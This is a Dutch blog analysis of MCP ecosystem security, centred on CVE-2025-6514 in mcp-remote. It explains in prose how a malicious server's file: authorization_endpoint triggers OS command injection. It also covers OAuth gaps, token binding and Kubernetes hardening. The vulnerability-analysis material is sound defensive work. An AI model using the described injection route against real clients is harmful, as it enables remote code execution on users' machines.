← Terug naar blog

Beveiligingsanalyse van het MCP-ecosysteem

AI Security

by Dennis Landman Agentic Engineer & AI & Cybersecurity Specialist

Deze analyse is een vervolg op eerdere analyses van MCP:1. Security en privacy risico’s van Model Context Protocol (MCP).– https://djimit.nl/security-en-privacy-risicos-van-model-context-protocol-mcp/2. Een analyse van opkomende communicatieprotocollen voor multi-agent AI systemen MCP, A2A, ACP en ANP– https://djimit.nl/een-analyse-van-opkomende-communicatieprotocollen-voor-multi-agent-ai-systemen-mcp-a2a-acp-en-anp/

Organisaties die het Model Context Protocol (MCP) implementeren, staan voor de complexe taak om een evenwicht te vinden tussen functionaliteit, veiligheid, privacy en compliance.

Samenvatting.

De Model Context Protocol (MCP) standaard heeft zich razendsnel verspreid als “USB-C voor AI toepassingen” een universele brug tussen AI-agenten (LLMs) en externe tools, databases en diensten[1][2]. Deze connectiviteit brengt krachtige nieuwe mogelijkheden, maar introduceert ook aanzienlijke beveiligings-, privacy- en continuïteitsrisico’s. Recente incidenten, met name de kritieke kwetsbaarheid CVE-2025-6514 in de populaire mcp-remote tool, tonen aan hoe een vertrouwde OAuth-proxy in een volledig remote-code-executie (RCE) fiasco kan ontaarden[3][4]. Dit rapport biedt een analyse op strategisch, technisch en toekomstgericht niveau, met nadruk op de Nederlandse context (GDPR/AVG, NIS2, EU AI Act). We combineren concrete kwetsbaarheids casussen met systematische dreigingsmodellering en strategische aanbevelingen.

Bronnen en context.

MCP werd eind 2024 gelanceerd door Anthropic en kent brede adoptie door Big Tech (Microsoft, Google, OpenAI, AWS) en enterprise developers[5]. Er bestaan inmiddels duizenden MCP-servers voor allerlei diensten[6]. Tools als Claude Desktop, VS Code, Cursor en cloudplatforms als Cloudflare, Hugging Face en Auth0 hebben integraties met MCP[7]. De besproken kwetsbaarheid CVE-2025-6514 treft de mcp-remote npm-package (437.000+ downloads)[8][9], wat de potentieel enorme aanvalsoppervlak illustreert. Het Nederlandse Nationaal Cyber Security Centrum (NCSC-NL) wijst op de risico’s van AI-ecosystemen en benadrukt het belang van supply-chain beveiliging, cyberweerbaarheid en soevereiniteit in lijn met de Nederlandse Cybersecurity Strategie 2022-2028.

In het vervolg van dit rapport behandelen we: (1) strategische risico’s en governance voor CISO/CTO’s, (2) diepgaande technische kwetsbaarheids analyse en operationele richtlijnen voor cloud/SRE teams en (3) toekomstige dreigingen, regelgeving en innovatie. Alle bevindingen zijn onderbouwd met actuele bronnen en worden vertaald naar actiegerichte adviezen.

Deel 1: MCP risicobeoordeling

Risico-exposure van MCP-adoptie in enterprises

Voor organisaties brengt MCP-adoptie nieuwe typen risico’s met zich mee die kwantitatief kunnen worden geprofileerd als kans × impact × snelheid. Traditionele risicoanalyses moeten rekening houden met de hoge waarschijnlijkheid van exploits in een wijdverspreide OSS-tool als mcp-remote (437k+ downloads)[8], de kritieke impact van RCE-aanvallen (CVSS 9.6)[9], en de hoge aanvalsnelheid waarmee misbruik zich kan verspreiden in geconnecteerde AI-omgevingen.

Risicomatrix: Onderstaand een kwalitatieve risicomatrix voor MCP-adoptie, met inschattingen voor een groote organisatie (1 = laag, 5 = hoog):

Bovenstaande risico’s vereisen board-level aandacht. Aanbevolen wordt een executive risicoregister op te stellen waarin MCP-gerelateerde risico’s expliciet staan met verantwoordelijken, mitigerende maatregelen en benodigde budgetten[20][21]. Gegeven de kritieke score (9.6) en brede impact van CVE-2025-6514, valt MCP-security duidelijk in de hoogste risicocategorie van menig organisatie[9]. Het management moet bereid zijn extra investeringen vrij te maken in security-controls, monitoring en training om deze nieuwe dreiging het hoofd te bieden.

OAuth discovery injectie (CVE-2025-6514) als systemische supply-chain kwetsbaarheid

De kwetsbaarheid CVE-2025-6514 illustreert een nieuw attack-patroon dat verder reikt dan één CVE – het raakt aan fundamentele architectuurkeuzes in MCP en vergelijkbare AI-integraties. Hoewel de exploit technisch begon als een specifieke code-fout (onjuiste inputvalidatie van een OAuth-endpoint URL), heeft het zich ontwikkeld tot een supply-chain issue van de tweede orde: een klein pakketje in de toolchain werd de zwakke schakel die een keten van omgevingen compromitteerde[10][7].

Systemische risico’s: Traditionele CVE-mitigatie (patchen naar v0.1.16[22]) adresseert de individuele fout, maar CVE-2025-6514 onthult grotere thema’s:

Supply-chain weerbaarheid: Organisaties dienen deze les ter harte nemen in hun securitystrategie. Alignering met NIST CSF 2.0 (die extra nadruk legt op Supply Chain Risk Management in het Identify-luik[28][29]) is van strategisch belang. Concreet bevelen we aan:

De systemische aard van OAuth discovery injectie vraagt ook om samenwerking op ecosysteemniveau. Het opzetten van een early-warning systeem via sectorale ISACs of het NCSC kan helpen om signalen van misbruik vroeg te detecteren en breed te communiceren. Bij een supply-chain aanval die potentieel alle gebruikers raakt, is tijdige waarschuwing cruciaal om “hit-and-run” massaal misbruik (zoals gezien bij Log4j) te voorkomen.

Cloud-soevereiniteit en privacy implicaties (FISA 702, GDPR/AVG, NIS2, EU AI Act)

Nu AI-diensten en MCP-servers vaak in de cloud draaien, krijgen juridische en compliance aspecten meer gewicht. Nederlandse organisaties moeten navigeren tussen enerzijds de voordelen van cloudgebaseerde AI (schaal, snelheid) en anderzijds soevereiniteits- en privacyrisico’s onder EU-wetgeving en geopolitieke dreigingen:

Conclusie: Door MCP niet louter technisch maar ook juridisch/ethisch te benaderen, kunnen organisaties boetes, reputatieschade en regulatorische sancties voorkomen. Concreet betekent dit strengere contracteisen aan cloudproviders (dat minimaliseren van data-toegang garanderen), interne policies voor AI-gebruik (wat mag wel/niet via MCP, wie heeft toegang), verplichte logging & auditing van MCP-acties voor accountability, en investeren in advies van privacy-juristen bij ontwerp en implementatie van AI-assistenten. Zo kunnen innovatieve AI-koppelingen worden ingezet zonder de kaders van AVG, NIS2 en de AI Act te schenden, een randvoorwaarde voor duurzame toepassing in NL overheids- en bedrijfscontext.

Bedrijfscontinuïteit supply-chain aanvallen op MCP-tools en operationele weerbaarheid

Een MCP-aanval kan de bedrijfscontinuïteit ernstig bedreigen. In scenario’s uit de praktijk zien we dat supply-chain exploits op AI-tools snel kunnen escaleren tot bedrijfskritieke incidenten:

Resumerend: Bedrijfscontinuïteit in het AI-tijdperk vergt uitbreiding van klassieke BC/DR-plannen met AI supply-chain scenario’s. Door regelmatig chaos engineering drills te doen bijv. simuleren dat MCP-servers compromised zijn en zien hoe snel men ze kan isoleren en functies kan overnemen wordt de weerbaarheid verhoogd. Investeringen in redundante omgevingen, snelle patching (bijv. virtuele patching via WAF/IDS rules voor er een officiële fix is), en het trainen van dev-teams om veilig te handelen (stop werk bij vermoeden van compromise, meld direct) zijn essentieel. Uiteindelijk is proactieve planning goedkoper dan de schade van onvoorbereide downtime of een verloren klantvertrouwen door een supply-chain incident.

Strategische positionering: Zero Trust, NIST CSF 2.0 en SLSA

De opkomst van MCP noopt tot herijking van de strategische security positie van organisaties. MCP raakt aan meerdere hedendaagse security-paradigma’s en frameworks, waaronder Zero Trust Architectuur, NIST Cybersecurity Framework (CSF) 2.0 en Software Supply Chain Security (SLSA). Een sterke positionering betekent deze raamwerken slim inzetten om MCP-risico’s te mitigeren en concurrentievoordeel te behalen:

Concurrentielandschap: Veel bedrijven worstelen nog met AI-security. Een organisatie die nu al Zero Trust AI, NIST CSF integratie en SLSA voor AI omarmt, loopt vooruit op zowel aanvallers als concurrenten. Dit verlaagt de kans op ontwrichtende incidenten (die concurrenten wél kunnen treffen) en vermijdt paniekerige inhaalinvesteringen later. Bovendien creëert het kansen voor nieuwe diensten: men kan de opgedane expertise vermarkten, bv. als advies aan partners of als extra veilige AI-oplossing. De strategische positie moet zijn: “wij zetten AI veilig en verantwoord in aantoonbaar volgens de strengste normen”. Daarmee maakt men AI-innovatie tot een verantwoorde onderneming, wat in lijn is met Nederlandse waarden (veiligheid, privacy) en een sterk verhaal geeft richting zowel klanten als toezichthouders.

Deel 2: MCP architectuur & operaties

In dit deel duiken we dieper in de technische details. We analyseren de kwetsbaarheid CVE-2025-6514 stapsgewijs, behandelen systematische kwetsbaarheidspatronen, en geven uitgebreide richtlijnen voor veilige implementatie van MCP in containeromgevingen, identity management, netwerkbeveiliging, monitoring en privacy. De nadruk ligt op concrete maatregelen (hardening, config voorbeelden, detectieregels) die teams direct kunnen toepassen om MCP-implementaties te beveiligen.

Kwetsbaarheidsanalyse & CVE-2025-6514

CVE-2025-6514: Root cause analyse en exploit-chain

CVE-2025-6514 is een OS Command Injection kwetsbaarheid in de npm-package mcp-remote, veroorzaakt door onvoldoende saneercontrole op de authorization_endpoint URL ontvangen van een (mogelijk malafide) MCP-server[24][18]. We lopen hier de code-path en exploit-chain na, aan de hand van de officiële analyse van JFrog Security Research:

Het bewijs van exploit een kwaadaardig authorization_endpoint met een file: URI leidt ertoe dat op Windows de calculator (calc.exe) wordt geopend als ongeautoriseerde OS-actie[19][47]. Dit toont hoe een schijnbaar onschuldige OAuth-redirect in werkelijkheid een command injection is die volledige systeemcompromittering mogelijk maakt.

Root cause: De kernfout is dat mcp-remote ongeldige URI-schemas niet blokkeert en het gebruik van open op Windows een impliciete PowerShell-call doet met hoge vrijheid[19][47]. Er is geen enkele validatie op het formaat of toegestaan schema van de authorization URL een klassieke input validatie fout (CWE-78)[54]. Daarbij is het vertrouwenmodel fout: men ging ervan uit dat een server altijd een eerlijke HTTPS pagina zou opgeven, zonder zich voor te stellen dat een file: of zelfs javascript: URI zou kunnen worden verstrekt. Deze ontwerpfout is de root cause.

Exploit-chain mapping & MITRE ATT&CK mapping

Op basis van bovenstaande dissectie kunnen we de exploit-chain in MITRE ATT&CK termen duiden (voorzie elke stap van de relevante technieken):

Deze chain laat zien dat één initiële exploit als CVE-2025-6514 kan leiden tot een volledige ATT&CK kill chain doorlopen, van initial access tot exfiltration. Dit onderstreept waarom de kwetsbaarheid zo kritiek is het opent de deur voor post-exploit acties die de hele breedte van MITRE ATT&CK beslaan. Voor verdedigers betekent dit dat detectiepunten op meerdere lagen nodig zijn zowel het initiële misbruik (processen openen zoals in Splunk-regel hieronder), als afwijkingen in gedrag erna (bv. nieuwe processen, netwerkconnecties).

Variant-analyse: vergelijkbare patronen in OAuth proxies

Gezien de aard van CVE-2025-6514 rijst de vraag: zijn soortgelijke kwetsbaarheden aanwezig in andere OAuth/OIDC implementaties of proxies? Het antwoord is zorgwekkend ja het patroon van onveilige browser-openers en ongesaneerde redirect-URIs is niet uniek:

Lessons learned hieruit ontwikkelaars van MCP-achtige tools moeten rigoureus te werk gaan: – Implementeer strikte allow-lists voor URI schemas (bv. alleen http/https toestaan als redirect target, nooit file:// of javascript:). Gebruik veilige bibliotheken voor het openen van URL’s: bijvoorbeeld platform-API’s die niet via shell gaan, of in Windows context de WinAPI ShellExecute juist configureren (met verbod op bepaalde schemas). – Schema-validatie volgens RFC’s: de OAuth metadata JSON moet voldoen aan verwachte patronen. Een waarde die niet met http begint kan direct verworpen worden. – Principe van least privilege toepassen op clienttools: waarom zou mcp-remote überhaupt OS-commando’s moeten kunnen uitvoeren? Misschien had dit component in een sandbox (bijv. electron app sandbox) gemoeten zodat zelfs als het een file: url opent, er geen directe host-impact is. – Voer variant analyses standaard uit na elke incident: Check andere plekken in de codebase of gelieerde projecten op vergelijkbare kwetsbaarheden. In dit geval had men meteen naar MCP Inspector en Filesystem MCP Server moeten kijken wat gelukkig ook is gebeurd, want er kwamen bevindingen uit[12].

Patch-effectiviteit (mcp-remote v0.1.16 fix) en resterend aanvalsoppervlak

De maintainer van mcp-remote (Glen Maddern) bracht versie 0.1.16 uit met een fix voor CVE-2025-6514[58][59]. Laten we de aanpak van de patch bekijken en inschatten of het gat nu echt gedicht is of dat er nog residuele risico’s zijn:

Effectiviteit: Deze fix dicht exact de gepubliceerde exploit-route. Testen van JFrog bevestigden dat na de update de exploit niet meer lukte (calc niet meer opende). Dus voor CVE-2025-6514 is de fix effectief. Echter, blijft er aanvalsoppervlak? Ja, want:

Resterende aanvalsoppervlak in mcp-remote: Stel dat mcp-remote wel https URLs vereist. Een aanvaller kan nog steeds een MITM uitvoeren als de gebruiker een http (onversleutelde) server aanspreekt[63]. De patch voorkomt RCE via de metadata, maar niet dat een LAN-aanvaller de hele verkeer overneemt en misschien op andere manieren de cliënt compromitteert (bijv. door een kwaadaardige tool output te geven die prompt injection in de AI veroorzaakt). Met andere woorden, mcp-remote blijft risicovol als men niet de best practices volgt (trusted servers, TLS).

Aanvullende mitigaties: Om resterend risico te verlagen is aangeraden:

Conclusie patch: Versie 0.1.16 lost de directe kwetsbaarheid goed op, mits juist toegepast. Het geeft echter geen reden om achterover te leunen: de exploit bewees dat OAuth flows in MCP op scherp moeten worden gezet. Structureel zouden alle MCP-implementaties gereviewd moeten worden op vergelijkbare issues. De lessons learned uit deze patch moeten breed worden toegepast: “valideer alles wat van een remote komt, en minimaliseer wat je ermee doet op het systeem”.

Lessons learned: veilige ontwerpprincipes

Uit CVE-2025-6514 en soortgelijke bevindingen destilleren we een aantal ontwerpprincipes en best practices die voortaan gehanteerd moeten worden bij MCP-ontwikkeling:

Door deze principes breed toe te passen, maken we de MCP-ecosysteem een stuk weerbaarder tegen niet alleen bekende exploits maar ook nog onbekende varianten.

Systematische kwetsbaarheidspatronen in MCP-implementaties

Naast de specifieke CVE is het belangrijk om algemene kwetsbaarheidspatronen te onderkennen die veelvuldig in MCP-servers en -clients voorkomen. Onderzoek van o.a. Backslash Security en Pillar Security heeft diverse patronen blootgelegd[64][65]. We behandelen hier de belangrijkste categorieën en voorbeelden:

Samengevat zien we dat MCP-implementaties een mix zijn van klassieke web/OS kwetsbaarheden (injection, traversal, auth issues) en nieuwe AI-specifieke issues (prompt injection, tool trust). Een volledig secure design moet beide adresseren. Veel hiervan is terug te brengen op basisprincipes: input valideren, minst-privilege, defence in depth, en AI-specific: nooit blind vertrouwen in output van AI of content van derden.

zie ook: https://adversa.ai/mcp-security-top-25-mcp-vulnerabilities/

Hieronder in de volgende secties geven we voor meerdere domeinen (identiteit, isolatie, supply chain, netwerk, monitoring, privacy) concrete maatregelen die deze patronen tegengaan.

Identiteit & Authenticatie in MCP: OAuth compliance en beyond

Identity management is cruciaal in MCP-context: AI-agents opereren namens gebruikers en krijgen daartoe tokens en credentials. De MCP Authorization specificatie is gestoeld op OAuth 2.1, PKCE en andere moderne best practices[72][73], maar praktijkimplementaties lopen hier wel eens op achter of maken fouten. We analyseren de compliance-gaps en geavanceerde scenario’s:

OAuth compliance gap-analyse: spec vs praktijk

De MCP Authorization Spec vereist dat MCP-servers en -clients OAuth 2.1 protocollen volgen, incl. ondersteuning voor dynamic client registration en well-known discovery[74][75]. In theorie moet elke MCP-server zich gedragen als een resource server en een aparte Authorization Server aanwijzen, terwijl de MCP-client de bekende OAuth flows uitvoert.

In de praktijk zien we echter gaps: – Niet alle implementaties volgen OAuth 2.1 strict. Sommige implementaties vallen terug op OAuth 2.0 of improviseren. Bijvoorbeeld, men implementeert wel authorization_code flow maar zonder PKCE of met langelevende tokens. Dit kan leiden tot downgrade in security (geen PKCE betekent gevoelig voor code interception). – Ontbreken van dynamic client registration: De spec zegt dat clients MUST ondersteunen, servers SHOULD[76], maar sommige servers hebben het niet en verwachten pre-provisioned clients. Dit leidt ertoe dat developers geneigd zijn statische client secrets in code te stoppen slecht voor security. – Token lifecycle mismanagement: Refresh tokens worden soms niet gebruikt of juist te lang bewaard. De spec verwacht short-lived access tokens en revocation mogelijkheden, maar of elke server dit doet is twijfelachtig. Een gap is dat als een MCP-server geen token revocation endpoint biedt, een uitgelekt token (via bijv. een logs of memory leak) door aanvaller lang gebruikt kan worden. – Audience binding niet afgedwongen: OAuth token zou eigenlijk een audience claim moeten hebben voor de resource (de MCP server). Als een server dat niet checkt, kan een token bedoeld voor service A misbruikt worden op service B (Cross-audience misuse). Dit is het Confused Deputy risico in OAuth. De spec noemt dat tokens gevalideerd moeten worden op audience[77], maar implementaties slaan dat over in eenvoud. – Inconsistent scopes: MCP servers definiëren eigen scopes (bijv. mcp.read, mcp.write). Als deze te breed zijn (bv. één scope = volledige toegang) is least privilege weg. We zagen al in Pillar’s analyse dat MCP’s vaak excessieve permissies vragen (zoals volledige Gmail toegang i.p.v. alleen lezen)[78][79]. Praktijkvoorbeeld: een MCP Gmail-tool vroeg zowel read als send rechten om “flexibel” te zijn, maar daarmee als dat token lekt kan aanvaller zowel lezen als mails versturen[14][80]. Dit is gap tussen spec (die zou principle of minimal scope impliceren) en implementatie (die vaak gemak boven veiligheid zet).

Specifieke compliance-issues: – PKCE adoptie: OAuth 2.1 vereist PKCE voor code flows (en geen implicit flow meer). De meeste MCP-clients lijken PKCE wel te gebruiken, omdat libs dat standaard doen. Maar als een implementatie dat vergat, is interceptie van authorization code mogelijk (maar wel moeilijker in on-prem scenario’s). PKCE failure zou een hoge risk zijn in multi-tenant scenario’s. – DPoP vs mTLS: De spec laat PoP (Proof of Possession) opties open. DPoP (OAuth 2.1 draft) is lichter dan mTLS. We zien weinig MCP-implementaties die dit al ondersteunen, dus tokens zijn meestal bearer tokens. Dit betekent dat token theft (zoals eerder beschreven) eenvoudiger tot misbruik leidt, want een aanvaller kan een bearer token op een totaal andere machine gebruiken. Dit is een gap: het is moeilijk PoP nu in te bouwen, maar wenselijk richting toekomst. – Redirect URL handling & open redirect: De spec waarschuwt voor open redirect exploits[81]. Clients MUST geregistreerde redirect URIs gebruiken[82][81]. In integraties echter ziet men soms dat ontwikkelaars gemakshalve http://localhost:someport/callback wildcarden. Dit opent deuren voor phishing of token stelen als iemand de callback kan kapen. Gelukkig is dat in closed environment van PCP minder erg dan in publieke webapps, maar toch. Een misconfiguratie hier is voorstelbaar.

Conclusie gap analyse: Over het algemeen biedt de MCP OAuth laag een solide basis, maar veel hangt af van zorgvuldige implementatie. Organisaties moeten auditten of de MCP-servers die zij inzetten conform spec werken: check discovery (/.well-known), check of PKCE enforced is, wat de token TTL’s zijn, hoe scopes geregeld zijn etc. Geregeld blijkt dat een OSS-projekt niet alles 100% volgens spec heeft (bv. geen revocation endpoint). Dan moet je als implementator compenserende maatregelen nemen (kortere token geldigheid, valse scopes uitzetten, enz).

PKCE-beoordeling: implementatiegraad en bypass-mogelijkheden

PKCE (Proof Key for Code Exchange) is een uitbreiding op OAuth waarmee authorization code interception risks worden gemitigeerd. In MCP-context: AI-agenten die een auth-code ophalen via een externe browser moeten PKCE gebruiken om te voorkomen dat een malicious app op het systeem dezelfde code inwisselt.

Implementatiefouten: Waar het mis kan gaan is:

Attacker vantage: PKCE beschermt tegen intercept in netwerk, maar niet tegen een volledig compromit van de client. Als de client al gecompromitteerd is (zoals door CVE-2025-6514), kan de aanvaller zelf de code_verifier zien en PKCE omzeilen. Dus PKCE helpt vooral tegen bepaalde dreigingen maar niet tegen een RCE scenario.

Bypass scenario’s:

PKCE Conclusie: Overwegend positief PKCE is wijd toegepast en doeltreffend. Het moet wel samen gaan met State parameter voor CSRF-bescherming en de tips hierboven (niet loggen, server moet ook enforce). Organisaties kunnen dit verifiëren door een OAuth pentest op de flow: probeer code replay zonder PKCE etc. Als dat niet lukt, is PKCE goed.

DPoP vs mTLS: binding tokens aan clients

DPoP (Demonstration of Proof-of-Possession) en mTLS (Mutual TLS) zijn twee technieken om bearer tokens om te vormen tot holder-of-key tokens. Dit betekent dat een token alleen bruikbaar is door degene die het heeft aangevraagd (DPoP via een sleutel in de client, mTLS via clientcertificaat).

In MCP context:

– DPoP: Heel geschikt, want MCP clients (bv. een desktop app) kunnen prima een JWKS sleutelpaar genereren en bij elke API call een DPoP header meesturen. Dit voorkomt dat een gelekt access token door een ander gebruikt kan worden, want die ander heeft de private key niet om geldige DPoP proof te maken.

– mTLS: Lastiger in heterogene omgeving (client-cert deployment complex), maar voor corporate scenario’s (AI agent op server) zou men mTLS kunnen doen clientcert om te authenticeren bij MCP-server, en token bound aan dat cert. mTLS geeft tevens zekerheid over de verbinding (die heb je eigenlijk al via TLS, maar je voegt client auth toe).

Huidige patronen: Voor zover bekend is DPoP nog niet breed toegepast in MCP tools, voornamelijk omdat standaard IdP’s (Google, Microsoft) nog geen DPoP ondersteunen op hun auth endpoints, en custom MCP auth server moeten dit expliciet inbouwen. De spec refereert er ook niet direct aan (wel dat OAuth 2.1 volgt, en DPoP is concept in draft nog). mTLS is evenmin standaard, al zou men binnen corporate eigen PKI dat kunnen gebruiken voor MCP server auth.

Security-eigenschappen:

– DPoP: Lichte weging, client maakt een JWT met hash van request en zijn public key. Server checkt dat de token’s cnf claim matcht de key van DPoP JWT. Goede balans performance, maar vereist synchronisatie dat die cnf claim in token zit (Auth server moet DPoP snappen). Het beschermt tegen token diefstal door netwerkaanvaller of logs token zonder key is nutteloos. Niet tegen device steal (als attacker pc overneemt, heeft die key wel).

– mTLS: Zeer sterke binding op transportniveau. Beschermt ook tegen intercept volledig. Nadeel performance overhead op schaal (cert management).

– DPoP vs mTLS trade-off: DPoP is app-level, mTLS is transport-level. Voor een cloud MCP service die aan externe clients ligt is DPoP flexibeler (geen clientcert distributie nodig). Voor intern microservice verkeer is mTLS makkelijk want je kan service mesh dat laten doen.

Performance implicaties:

– DPoP voegt per request een JWT sign operation toe verwaarloosbaar voor desktops (ms werk), en klein wat overhead in request size (header ~200 bytes).

– mTLS kost per verbinding handshake en CPU voor cert verify, kan bij veel parallelle connecties zwaarder zijn. Maar dat is vooral op server side, moderne hardware kan paar duizend TLS handshakes per sec dus niet gek.

Aanbeveling: Als je controle hebt over zowel client als server MCP, overweeg DPoP te implementeren voor alle non-confidential scenario’s. Dit is een future-proof measure: het voorkomt dat een eventueel uitgelekt token (via log hack of zo) bruikbaar is zonder ook de key. Dit minimaliseert impact van credential leakage. Voor enterprise interne MCP’s kan mTLS nuttig zijn om clients al bij connect te authenticeren (voordat OAuth zelfs begint) een extra trust factor. Bijvoorbeeld: een overheid kan eisen dat alleen devices met overheidscert connecten naar de MCP-server (soort NAC). Dan is een actor zonder zo’n device al uitgesloten.

Audience binding token scoping & cross-audience misbruik

Audience binding houdt in dat een access token alleen geldig is voor het beoogde resource (MCP server X) en niet bij een andere (MCP server Y) kan worden gebruikt. Dit voorkomt “token forwarding” of confused deputy scenario’s tussen diensten.

In OAuth gebeurt dit door de aud claim in de token (of resource indicator tijdens request), en de resource server die dat checkt.

Effectiviteit in MCP: Stel je hebt meerdere MCP-servers (bv. een Fileserver MCP en een Gmail MCP) en één client die voor beide tokens heeft. Als een token zonder aud specificatie wordt gebruikt, zou een kwaadwillige MCP server misschien een token krijgen dat voor een andere resource bedoeld was en toch accepteren. Bijvoorbeeld, een slordig geprogrammeerde server ziet een geldig JWT signatuur en denkt “prima, auth’d” zonder te checken dat de aud = andere-server.

Spec eist wel dat tokens audience-bound moeten zijn en gevalideerd worden[77]. Echter, als men gebruik maakt van bestaande IdP’s (bv. OAuth via Azure AD voor een interne MCP), dan moet men bij issuance een Resource parameter meegeven anders krijg je een Graph token dat potentieel breed is.

Cross-audience misuse scenario: Een voorbeeld: een AI-agent heeft een token voor “MCP Gmail” en je laat per ongeluk een request doorsturen naar “MCP Drive” als dat token door Drive wordt geaccepteerd omdat iss en sig kloppen en aud niet gecheckt, kan dat misbruik. Ook denkbaar: een misconfig in client die op verkeerde endpoint token stuurt en het toch werkt.

Scope vs Audience: Men verwart soms scope als binding, maar scope = permissies. Audience moet apart gezien worden.

Aanbeveling: Forceer per MCP-server een unieke audience (URI of identifier) en laat access tokens dat vermelden. Test de server: probeer een token van een andere server -> moet geweigerd. Zo niet, fix code. Dit is essentieel om “context hijacking” te voorkomen waar een token misbruikt wordt op andere plaats.

Token lifecycle refresh, revocatie, TTL, rotatie

Het tokenbeheer is een vaak onderschat aspect. Secure token lifecycle betekent: – Access tokens kort laten leven (5-60 min) zodat impact van lek beperkt is. – Refresh tokens beveiligen en eventueel rotaties toepassen (OIDC Refresh Token rotation mechanisme om reuse te detecteren). – Revocation endpoints hanteren zodat bij een vermoeden tokens ingetrokken kunnen worden. – Token binding (al genoemd) om levensduur te koppelen aan client.

In MCP is het bijzonder omdat: – Vaak langdurige “offline” toegang gewenst is (AI agent die ook zonder user continu kan werken). Dat betekent refresh tokens of long-lived tokens. Dit brengt spannning: security zegt kort; usability zegt lang. Goede middenweg is refresh token (lang geldig) maar access kort en logging van gebruik. – Revocation discipline: Bij gewone apps vergeet men wel eens refresh token revoke bij logout. Als AI agent interface van user niet duidelijk is, kan het zijn dat tokens eindeloos geldig blijven tenzij handmatig ingetrokken via IdP. Een risico dat een ex-werknemer’s AI agent token nog werkt als accounts niet gedeprovisioneerd zijn.

Mitigatie: – Stel een TTL-beleid: bijv. Access token 30 min, refresh token 8 uur. Zo moet een agent die langer wil werken elk werkdag opnieuw login (misschien ok, of via service principal). – Overweeg client credentials flow voor purely non-user agents, dan heb je geen refresh gedoe maar wel maak je tokens on-demand (afhankelijk van secret). – Rotatie: implementeer refresh token rotation (zodat als een refresh token ooit dubbel wordt gebruikt, je weet dat er leak is en kunt blokkeren). – Introspectie en monitoring: Zorg dat er logs zijn van tokengebruik. Als je plots ziet dat een token van een user buiten werkuren bij MCP wordt gebruikt, kan dat indicator zijn (mits logging dat detail heeft).

Samengevat: Identity & auth in MCP moet op enterprise-niveau beheerd worden: dit betekent IdP integratie, policy enforcement op tokens, en actief beheer van token lifecycle. Dit is voor dev-teams nieuw terrein (ze zien OAuth vaak als “set and forget”), maar voor CISO’s en IAM-specialisten bekende kost. Bridging die werelden is nodig: IAM-afdeling moet betrokken bij opzet MCP auth.

Geavanceerde identiteitscenario’s

Naast de basis OAuth flow zijn er scenario’s waarbij identity management extra complex wordt:

Federatie (SAML/OIDC bridges): Stel een enterprise wil haar AI agent toegang geven tot een tool van een partnerorganisatie. Dan zou MCP-server van partner wellicht federated login moeten ondersteunen (SAML of OIDC trust). Trust-boundaries: de AI agent heeft nu een token die via trust chain verkregen is. Dit opent extra aanvalsvector (federation misconfig, trust hijack). Je moet zorgen dat in zo’n federatie attributen goed beperkt zijn en dat bij een compromise in partner domain jouw tokens niet misbruikt kunnen worden elders. Evt. kan men een bridge service zetten die vertaalt, zodat AI agent niet direct in vreemde STS hoeft.

Workload identity (SPIFFE/SPIRE): In cloud-native context kan men MCP-servers identificeren via SPIFFE IDs en die gebruiken om onderling te auth’en. Bv. een MCP client running in K8s pod krijgt een SPIFFE JWT die de server vertrouwt. Dit vermijdt menselijke API keys. Workload identity zorgt dat machines zichzelf authenticeren. In scenario MCP server (tool) <-> een database of cloud API is dit relevant: gebruik workload identity i.p.v. ingebakken cred. Het voegt aan security toe dat compromitteren van één service niet direct keys prijsgeeft (sleutels zitten in orchestrator).

Just-In-Time (JIT) access voor AI-agenten: Het concept van JIT is om credentials pas te verstrekken op moment van noodzaak en direct weer in te trekken. Toegepast op MCP: i.p.v. een AI agent continu brede toegang te geven, zou je kunnen integreren dat elke keer dat AI iets wil (bijv. “delete records”), er op dat moment een fine-grained token wordt aangevraagd met minimale scope en korte geldigheid. Na actie vervalt het. Dit balanceert risico (token misbruik sterk beperkt) tegen usability (user moet iets vaker toestemming geven of er moet een automated policy zijn).

IdP compromise scenario’s: Wat als de Identity Provider (Azure AD, Auth0 etc) zelf wordt gecompromitteerd of een malicious insider heeft? Dan kunnen tokens van MCP’s door de aanvaller gecreëerd worden zonder user. Blast radius is enorm: alle aangesloten MCP-apps vertrouwen immers tokens van die IdP. In 2023 zagen we incidenten waar SAML signing keys gestolen werden (Sunburst), waardoor attacker zich overal toegang gaf. Hier moet men ook aan denken:

Kortom, identity in MCP gaat verder dan “OAuth werkend krijgen”. Het vereist een IAM-architectuur die robuste is tegen zowel toevallige fouten (gaps) als bewuste aanvallen, en die schaalbaar blijft als AI-workloads groeien. Deze geavanceerde concepten kunnen helpen toekomstige risico’s voor te zijn.

Isolatie & Runtime Controls: container- en sandbox-beveiliging

Gezien de risico’s is sterke isolatie van MCP-processen een must. Het beperken van de impact van een compromise (blast radius) kan gerealiseerd worden door containerisatie, sandboxing en gebruik van kernel security features. We bespreken hier best practices voor het opzetten van MCP-servers in een Kubernetes/cloud omgeving, alsook geavanceerde isolatie-opties (microVMs, eBPF, enclaves).

Container & sandbox architectuur best practices

De meeste MCP-servers zijn gewoon kleine webservices of CLI-tools – ideale kandidaten om in containers te draaien met restrictieve settings. Door “Secure-by-Default” containerconfiguratie kunnen hele klassen van aanvallen worden voorkomen of hun impact verminderd[20][84]:

Security Context hardening (Pod/Container SecurityContext): Stel voor elke MCP-container een streng securityContext in:

Privileged flag uit: uiteraard geen privileged: true containers[92][93]. Dat geeft alle capabilities en is een groot nee (tenzij echt noodzakelijk, wat hier niet zo is).

Een voorbeeld van zo’n container securityContext:

containers:– name: mcp-server  image: myregistry/mcpserver:1.0  securityContext:    runAsNonRoot: true    runAsUser: 1000    allowPrivilegeEscalation: false    readOnlyRootFilesystem: true    capabilities:      drop: [“ALL”]

(NB: runAsUser moet verwijzen naar een user-id die in de image bestaat, bv. in Dockerfile: RUN adduser -u 1000 mcp.)

Door bovenstaande krijgt een eventuele aanvaller die een MCP-container weet te compromitteren geen eenvoudige route naar de host of netwerk. Hij zit opgesloten in een jail met minimale rechten en connectiviteit. Ideaal zou een container zelfs als niet-root user zonder schrijfpermissies niks kunnen permanent maken een herstart wist sporen.

Geavanceerde isolatie: microVM’s, eBPF, HSM, confidential computing

Voor zeer kritieke toepassingen (bv. MCP die met staatsgeheimen omgaat of industriële controles) kun je nog een stap verder gaan in isolatie dan standaard containers:

